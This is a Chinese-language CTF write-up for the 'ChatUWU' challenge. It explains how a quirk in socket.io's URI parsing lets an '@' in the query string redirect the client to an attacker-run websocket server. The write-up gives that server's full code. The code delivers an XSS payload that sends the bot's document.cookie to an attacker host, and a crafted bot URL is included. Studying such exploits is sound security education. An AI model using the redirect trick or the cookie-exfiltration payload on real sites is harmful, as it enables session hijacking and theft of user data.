0x00 这道题说难不难,说简单也不简单,反正我没做出来 XD
比赛的时候我看到有个DOMPurify,以为是找这个漏洞,然后bypass,其实不是的
总结下来这个题目就两个点
socket.io的uri解析trick导致跳转
使用恶意websocket服务器,绕过DOMPurify
0x01 代码分析 首先看源码
客户端:
index.html
,这里只展示相关代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <!DOCTYPE html > <html > <body > <ul id ="messages" > </ul > <form id ="form" action ="" > <input id ="input" autocomplete ="off" maxlength ="140" /> <button > Send</button > </form > <script src ="/socket.io/socket.io.js" > </script > <script > function reset ( ) { location.href = `?nickname=guest${String (Math .random()).substr(-4 )} &room=textContent` ; } let query = new URLSearchParams (location.search ), nickname = query.get ('nickname' ), room = query.get ('room' ); if (!nickname || !room) { reset (); } for (let k of query.keys ()) { if (!['nickname' , 'room' ].includes (k)) { reset (); } } document .title += ' - ' + room; let socket = io (`/${location.search} ` ), messages = document .getElementById ('messages' ), form = document .getElementById ('form' ), input = document .getElementById ('input' ); form.addEventListener ('submit' , function (e ) { e.preventDefault (); if (input.value ) { socket.emit ('msg' , {from : nickname, text : input.value }); input.value = '' ; } }); socket.on ('msg' , function (msg ) { let item = document .createElement ('li' ), msgtext = `[${new Date ().toLocaleTimeString()} ] ${msg.from } : ${msg.text} ` ; room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext; messages.appendChild (item); window .scrollTo (0 , document .body .scrollHeight ); }); socket.on ('error' , msg => { alert (msg); reset (); }); </script > </body > </html >
服务端:
index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 const app = require ('express' )();const http = require ('http' ).Server (app);const io = require ('socket.io' )(http);const DOMPurify = require ('isomorphic-dompurify' );const hostname = process.env .HOSTNAME || '0.0.0.0' ;const port = process.env .PORT || 8000 ;const rooms = ['textContent' , 'DOMPurify' ];app.get ('/' , (req, res ) => { res.sendFile (__dirname + '/index.html' ); }); io.on ('connection' , (socket ) => { let {nickname, room} = socket.handshake .query ; if (!rooms.includes (room)) { socket.emit ('error' , 'the room does not exist' ); socket.disconnect (true ); return ; } socket.join (room); io.to (room).emit ('msg' , { from : 'system' , text : 'a new user has joined the room' }); socket.on ('msg' , msg => { msg.from = String (msg.from ).substr (0 , 16 ) msg.text = String (msg.text ).substr (0 , 140 ) if (room === 'DOMPurify' ) { io.to (room).emit ('msg' , { from : DOMPurify .sanitize (msg.from ), text : DOMPurify .sanitize (msg.text ), isHtml : true }); } else { io.to (room).emit ('msg' , { from : msg.from , text : msg.text , isHtml : false }); } }); }); http.listen (port, hostname, () => { console .log (`ChatUWU server running at http://${hostname} :${port} /` ); });
首先解释一下这些代码的意思
这是一个用socket.io库搭起来的即时聊天室,基于websocket协议。
websocket是一种全面双工通讯的网络技术,任意一方都可以建立连接将数据推向另一方,websocket只需要建立一次连接,就可以一直保持通话。
客户端里的index.html
1 2 3 4 5 let socket = io (`/${location.search} ` ), messages = document .getElementById ('messages' ), form = document .getElementById ('form' ), input = document .getElementById ('input' );
这里是建立一个websocket连接
1 2 3 4 5 6 7 form.addEventListener ('submit' , function (e ) { e.preventDefault (); if (input.value ) { socket.emit ('msg' , {from : nickname, text : input.value }); input.value = '' ; } });
这里是向websocket服务端提交数据,数据的格式就是{“from”:”adasd”,”text”:”123”} 是通过socket.emit来提交,并将事件名称命名为msg
1 2 3 4 5 6 7 socket.on ('msg' , function (msg ) { let item = document .createElement ('li' ), msgtext = `[${new Date ().toLocaleTimeString()} ] ${msg.from } : ${msg.text} ` ; room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext; messages.appendChild (item); window .scrollTo (0 , document .body .scrollHeight ); });
这里就是关键了,socket.on就是监听msg事件,并将获得的数据进行处理
这里处理的方式就是新建一个对象,并判断得到的数据里的room的值是否为DOMPurify,如果是,那么就以HTML元素来插入值
就是这个地方进行HTML注入,从而进行XSS
接下来看服务端的index.js
1 2 3 4 5 6 7 io.on ('connection' , (socket ) => { let {nickname, room} = socket.handshake .query ; if (!rooms.includes (room)) { socket.emit ('error' , 'the room does not exist' ); socket.disconnect (true ); return ; }
这里就是通过判断参数里是否有对应的值来决定是否建立连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 socket.on ('msg' , msg => { msg.from = String (msg.from ).substr (0 , 16 ) msg.text = String (msg.text ).substr (0 , 140 ) if (room === 'DOMPurify' ) { io.to (room).emit ('msg' , { from : DOMPurify .sanitize (msg.from ), text : DOMPurify .sanitize (msg.text ), isHtml : true }); } else { io.to (room).emit ('msg' , { from : msg.from , text : msg.text , isHtml : false }); } });
这里的就是关键了,监听msg事件,并判断将其接受到的值,如果room的值为DOMPurify,就对from参数和text参数调用DOMPurify.sanitize,来清理HTML代码,然后再返回给客户端
那么该如何绕过呢,可以做一个假的服务端,让他连接,因为从客户端那里可以知道,他没有明确指定连接谁
但是又如何让他连我的假服务端呢
0x02 利用parse解析的问题 这里就是看客户端的
1 let socket = io (`/${location.search} ` )
location.search就是当前网页的url里’/‘后面的内容
设断点,看代码
然后会跳入lookup()
可以发现,他在这里调用了Manager()
,去官官方文档看看这个是什么意思
就是来建立客户端和服务端的连接,进去看看
manager.js
this.uri是我们传入的uri,然后会调用this.open()来建立连接
继续跟进
这里是调用Engine函数来实现真正的连接,继续跟进
跳入Socket类的构造函数里,这里会解析uri,并取他的host值
最后建立连接的服务端就是的就是以这个host值作为主机名。看一下前面parse函数是怎么解析的
最终使用了parse()
对uri进行解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 const re = /^(?:(?![^:@]+:[^:@\/]*@)(http|https|ws|wss):\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/ ;const parts = [ 'source' , 'protocol' , 'authority' , 'userInfo' , 'user' , 'password' , 'host' , 'port' , 'relative' , 'path' , 'directory' , 'file' , 'query' , 'anchor' ]; export function parse (str ) { const src = str, b = str.indexOf ('[' ), e = str.indexOf (']' ); if (b != -1 && e != -1 ) { str = str.substring (0 , b) + str.substring (b, e).replace (/:/g , ';' ) + str.substring (e, str.length ); } let m = re.exec (str || '' ), uri = {}, i = 14 ; while (i--) { uri[parts[i]] = m[i] || '' ; } if (b != -1 && e != -1 ) { uri.source = src; uri.host = uri.host .substring (1 , uri.host .length - 1 ).replace (/;/g , ':' ); uri.authority = uri.authority .replace ('[' , '' ).replace (']' , '' ).replace (/;/g , ':' ); uri.ipv6uri = true ; } uri.pathNames = pathNames (uri, uri['path' ]); uri.queryKey = queryKey (uri, uri['query' ]); return uri; } function pathNames (obj, path ) { const regx = /\/{2,9}/g , names = path.replace (regx, "/" ).split ("/" ); if (path.slice (0 , 1 ) == '/' || path.length === 0 ) { names.splice (0 , 1 ); } if (path.slice (-1 ) == '/' ) { names.splice (names.length - 1 , 1 ); } return names; } function queryKey (uri, query ) { const data = {}; query.replace (/(?:^|&)([^&=]*)=?([^&]*)/g , function ($0, $1, $2 ) { if ($1) { data[$1] = $2; } }); return data; }
有很长一段正则匹配,就是利用这里的正则匹配的问题,来使客户端与恶意服务端建立连接
继续执行一下
可以发现会得到14个元素的数组,并将这些元素于parts里的元素一一对应,构成解析后的uri对象
当使用的uri为http://47.254.28.30:58000/?nickname=guest0423&room=textContent@127.0.0.1:9999
时,可以发现host被解析为127.0.0.1,且port为9999。
(具体为什么,感兴趣的师傅可以研究一下那个正则匹配)
0x03 构造恶意服务器 这样子,我们就可以让客户端和我们的恶意服务端连接,并且发送xss代码,这样当bot访问我们给的url的时候,就会造成xss,获取它的cookie
恶意服务端,根据题目的服务改一下
evilindex.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const app = require ('express' )();const http = require ('http' ).Server (app);const io = require ('socket.io' )(http, {cors : {origin : "*" }});const cors = require ('cors' );const hostname = '0.0.0.0' ;const port = 9998 ;const room = "DOMPurify" ;app.use (cors ()); app.get ('/' , (req, res ) => { console .log (req.query ); }); io.on ('connection' , (socket ) => { console .log (socket.handshake .address ) socket.join (room); io.to (room).emit ('msg' , { from : "pankas" , text : "<img src=1 onerror='location.href=`http://<yourhostname>:<yourip>/?flag=${document.cookie}`'>" , isHtml : true }); }); http.listen (port, hostname, () => { console .log (`ChatUWU server running at http://${hostname} :${port} /` ); });
然后让bot访问
http://47.254.28.30:58000/?room=DOMPurify&nickname=v2i@yourHostname:yourPort
就可以得到flag
0xFF 参考链接: